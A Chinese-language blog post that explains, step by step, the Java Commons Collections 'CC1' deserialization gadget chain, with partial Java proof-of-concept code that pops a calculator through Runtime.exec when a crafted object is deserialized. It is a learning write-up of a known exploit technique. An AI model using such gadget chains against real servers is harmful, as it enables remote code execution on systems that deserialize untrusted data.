首页 > 编程语言 >java反序列化——CC1链

java反序列化——CC1链

时间:2024-08-27 08:55:27浏览次数:12  
标签:map java invokerTransformer CC1 new import 序列化

参考 【【Java反序列化链】CommonsCollections1 深入浅出,详细分析(cc1链)】【Java反序列化链】CommonsCollections1 深入浅出,详细分析(cc1链)_哔哩哔哩_bilibili

java反序列化是java安全中非常重要的一点,也是最难的一点,我只能勉强跟着链子走一遍附上一些浅显的理解。 

CC1链

也就说cc链就是由这个Commons Collections组件引起的

jdk 是8U321

组件的依赖版本是3.2.1

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

 

有个一个java反序列化工具我看b站视频的时候up主自己写的工具挺有实力的。

夸克网盘分享

然后照着Java安全入门(二)——CC链1 分析+详解_cc1利用链-CSDN博客

将那个src文件源码拖进去了后面要用到的

很有道理,必须要实现序列化接口以及重写了readobject函数才有被利用的可能

对于分析其实是反着分析前辈构造好的链子,从后到前分析为什么会这样选择链子

现在分析的目的是搞明CC1链是如何实现了命令执行

首先是Transfomer这个接口类,提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出)

就是这个接口的某个实现类实现了命令执行

其中相关的就是ConstantTransformer、invokerTransformer、ChainedTransformer 以及TransformedMap

可以右键转到实现查看

首先转到直接和命令执行相关的类invokerTransformer

可以看到重写了transform 并且需要传入一个对象

观察发现存在iMethodName iParamTypes iArgs 三个参数。可以往上看看构造方法

可以看到这个三个都是可以控制的变量methodName

String methodName:这通常是一个方法的名称,表示你想要调用的方法的名称。函数名 exec

Class[] paramTypes:这是一个 Class 类型的数组,包含了方法参数的类型信息。数组中的每个元素都对应于方法参数的一个类型,且顺序应与方法定义中的参数类型顺序一致。形参String.class

Object[] args:这是一个 Object 类型的数组,包含了实际传递给方法的参数值。数组中的元素数量和类型应与 paramTypes 数组中定义的参数数量和类型相匹配。实参 calc

这里可以直接实例化尝试进行一下命令执行

也就是以这个命令执行为基础向上去找哪里调用了这个InvokerTransformer 类中的 transform方法,这里我们在已经有答案的情况下可以很快的找到TransformedMap这个类

并且这个类刚好是实现了序列化接口重写了readobject,当然不一定是这里是入口类,也可能只是链子的一部分而已

因为Transformer是接口所以只要能实现这个接口的类都可以在这里触发这个map,比如这里就是keyTransformer和valueTransformer两个实现类对象名称,实际实例化的时候这里可以是InvokerTransformer invokerTransformer

并且此类中的checkSetValue函数就是我们需要关注的触发的函数,虽然还有另外两个也触发了transform函数。

如果此时的valueTransformer=invokerTransformer,并且进行如下的调用

checkSetValue(runtime); // Runtime runtime = Runtime.getRuntime();

那么实际执行的就是return invokerTransformer.transform(runtime);

那么这里首先是想办法将invokerTransformer传入,往上翻可以发现这个类的构造方法是可以赋值的,另外这里protected的修饰符只能在本类中使用

继续往上发现有一个decorate的方法他的作用是接受参数构造一个这个类的对象,正好解决了上面的创建次对象的问题,从这里可以传入参数构造我们想要的对象

但是又说回来前面的checkSetValue被protected修饰只能在本类中被修饰

于是寻找checkSetValue的用法看有哪里使用了这个函数转而去想办法间接的执行checkSetValue

发现有个setValue间接的执行了checkSetValue

观察发现setValue所在的类其实就是TransformedMap的父类,反过来观察decorate函数,其实是一个装饰器,作用就是传入一个map对象,然后返回一个有更多功能的增强版的新map对象回来,也就是说经过增强后新的map对象就有了新的setValue函数。这里感觉挺难理解的,反正我的理解就是一个装饰器的作用。

可以写一段代码来展示

package com.com.ms08067;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CC1test0 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
       //创建原始的map对象
        HashMap<Object, Object> map = new HashMap<>();
        //随意赋值
        map.put("a","b");
        //使用transfoemedmap对原始的map进行增强,得到增强后的decorate对象
        Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
        //遍历map集的同时,可以得到集中每个条目对象entry,并且增强过后每个条目都有新的setValue函数也就是可以触发checkSetValue
        for (Map.Entry<Object,Object> entry:decorate.entrySet()){
            System.out.println(entry);//打印出来就是map键值对的内容
            entry.setValue(runtime);//于是这里就相当于触发了执行命令invokerTransformer.transform(runtime);
        }
    }


}

 

了解了setvalue的触发原理,那么就要继续寻找可以触发setvalue的调用

最好是能找到序列化入口类,如果不能就继续找中间类,当然在前人的智慧下,发现了入口类也就是实现了序列化接口并且重写的readobject中执行了setvalue的类

也就是这个的完整的链条就是这样的,相当妙。

这个时候还得继续解决问题,那就是如果让memberValues是我们想要的TransformedMap增强过后 Map呢

不过还好AnnotationInvocationHandler的构造方法中可以传入自己的Map。

Class type:这是注解的 Class 对象,表示你想要创建的代理的注解类型。这个类必须是 java.lang.annotation.Annotation 的一个子类,即它必须是一个注解类型。

Map memberValues:这是一个 Map,包含了注解成员的名称(作为 String 类型的键)和它们的值(作为 Object 类型的值)。这个 Map 用于存储注解成员的值,这些值将在代理对象上进行动态处理。

但是这个类和这个方法都不是public修饰。。。所以只能使用反射的方式进行

代码展示

package com.com.ms08067;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.junit.jupiter.api.Test;

import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1test0 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        HashMap<Object, Object> map = new HashMap<>();
        map.put("a","b");
        //使用transfoemedmap对原始的map进行增强
        Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);

        Class<?> Clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //获取构造方法
        Constructor<?> constructor = Clazz.getDeclaredConstructor(Class.class, Map.class);//传入形参
        constructor.setAccessible(true);//非公开就要设置一下变为公开的
        Object o = constructor.newInstance(Target.class, decorate);//拿到构造方法可以构造对象了,传入Target注释类型以及前面设置的Map对象decorate
        //这里不能直接拿着o对象执行readobject函数因为在类中是readobject是私有的。。。
        //所以这里可以先进行序列化然后再出反反序列化,反序列化就会触发readobject了
        //这里是自己写的序列化方法
        serial.serialize(o);
        //反序列化传入文件名
        //此时可以在readobject打个断点调试一下,发现确实是进入了readobject方法
        serial.unserialize("ser.bin");

    }
    }
import org.junit.jupiter.api.Test;

import java.io.*;

//自定义的序列化类
public class serial {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));;
        objectOutputStream.writeObject(obj);

    }
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
    }

执行进入readobject了但是又遇到了问题

要想执行setvalue必须经过两个if的判断

第一个判断memberType != null

memberType = memberTypes.get(name) 所以只要memberTypes中的name不为空就可以

Map> memberTypes = annotationType.memberTypes();

其中annotationType = AnnotationType.getInstance(type);

最后找到type不就是一开始构造的时候传入的吗,也就是个注解的 Class 对象

回到前面 annotationType.memberTypes(); 注解对象的memberTypes()方法

那么可以尝试执行一下这个memberTypes函数看看得到什么东西

也就是如果传入的注释是Target然后memberTypes.get(value)返回的结果就不会是null,这里就用Target比较好因为他是java内库中携带的。

get(name)中的name是String name = memberValue.getKey();也就是传入的map集中的一个键值对中的key

也就是之前前面传入的map集中传个value为key的键值对就可以了

可以打断点调试一下

第一个if过了后第二个if其实也就过了

第二个if就判断了一下是否是实例化的类,传入的是一个实例所以也过了

最后进入了setvalue但是看这个里面好像没有我们可以控制的变量,里面好像是new了个新的对象放进去了

这里就用到ConstantTransformer,这个类中的transform无论你传入什么值他都会返回是一个常量,并且这个常量的值是在构造的时候传入的

这样确实可以使无论setvalue里面是啥,反正执行了都是想要的runtime

但是这样没有了invokerTransformer???那还执行个嘚的命令

于是这里就用上了ChainedTransformer类

这个类他传入一个transformer数组,然后链式调用数组里的这些transformer,前一个的输出作为后一个的输入

于是可以这样写

将constantTransformer的输出作为invokerTransformer的输入于是可以执行命令

有了这个chain那么一切都可以串起来了

最后遇到的问题是runtime不可以反序列化

解决办法是虽然runtime没有实现序列化接口但是class类实现了,通过class类去调用runtime实现

输出的确实是runtime对象

最终的代码,这一段全是反射调用我看的不怎么懂。

最终完整的代码

完整的链子追踪起来还是挺复杂的,里面很多地方也都只是浅尝而止,基础还是不牢固反射机制还学的不太明白。

等多看几条链子就老实了。。。

标签:map,java,invokerTransformer,CC1,new,import,序列化
From: https://blog.csdn.net/qq_63855540/article/details/141585154

相关文章

  • Java线程的实践及原理揭秘
    Java线程的实践及原理揭秘并发是什么?系统支持高并发的因素是哪些?1.如何理解系统的并发一般来说,系统在单位时间内能够承载的并发数就是整个系统同事能够处理的请求数量。对于并发的指标通常通过TPS/QPS来表示QPS:每秒处理的查询数(Queries-Per-Second)TPS:每秒处理的事务数(Tr......
  • 【网络编程通关之路】 Udp 基础回显服务器(Java实现)及你不知道知识原理详解 ! ! !
    本篇会加入个人的所谓鱼式疯言❤️❤️❤️鱼式疯言:❤️❤️❤️此疯言非彼疯言而是理解过并总结出来通俗易懂的大白话,小编会尽可能的在每个概念后插入鱼式疯言,帮助大家理解的.......
  • Java面试题--JVM大厂篇之JVM大厂面试题及答案解析(7)
           ......
  • javascript怎么实现链表?
    在JavaScript中实现链表通常涉及定义一个链表节点类(通常称为ListNode)和一个链表类(例如LinkedList),然后在这个链表类中实现各种操作链表的方法,如添加节点、删除节点、遍历链表等。以下是使用JavaScript实现单向链表的一个基本示例:链表节点类(ListNode)首先,我们定义一个链表节点......
  • 【Java】IDEA从零到一使用statemachine状态机模拟订单 (图解)
    Java系列文章目录补充内容Windows通过SSH连接Linux第一章Linux基本命令的学习与Linux历史文章目录Java系列文章目录一、前言二、学习内容:三、问题描述四、解决方案:4.1认识依赖4.2使用状态机4.2.1目录结构4.2.2状态机解析4.2.2.1概念4.2.2.2图解4.2.2.3拓展......
  • java连接sqlite数据库
    首先下载jar包(每种数据库有自己jar包)然后idea里创建新项目并且在项目里创建lib文件里面放jar包接着导入jar包然后apply->ok这样就连上如果要可视化数据库DBBrowser最后测试连接TestConnection看数据库连上没结果:......
  • java一键生成数据库说明文档html格式
    要验收项目了,要写数据库文档,一大堆表太费劲了,直接生成一个吧,本来想用个别人的轮子,网上看了几个,感觉效果不怎么好,自己动手写一个吧。抽空再把字典表补充进去就OK了先看效果:目录快速导航生成效果关键代码try{ StringprefixTables="sys_monitor_db_ha......
  • JAVA语言开发环境配置详细讲解
    ​​您好,我是程序员小羊!前言Java是一门广泛应用于软件开发领域的编程语言,自1995年由SunMicrosystems首次发布以来,经过多年的发展,已经成为业界的重要编程语言之一。Java以其“编写一次,到处运行”(WriteOnce,RunAnywhere)的理念,以及强大的库和工具支持,吸引了大量的开......
  • 学习笔记 韩顺平 零基础30天学会Java(2024.8.26)
    P536HMap阶段小结P537HMap底层机制     HashMap$Node($意思是一个内部类)实现了Map$Entry,因此HashMap$Node的底层可以看成是Map$Entry(对前面有关Entry那一节课的继续理解)P538HMap源码解读P539HMap扩容树化触发P540Hashtable使用     和HMap不同......
  • java 线程
    1.Java中有哪几种方式来创建线程执行任务1.继承Thread类(单继承)2.Runnable接口(没有继承限制)但是无法返回值3.callable接口结合FutureTask4.利用线程池来创建线程使用ExecutorService调用execute通过runnable创建底层都是基于runnable2.为什么不建议使用Executors来创建......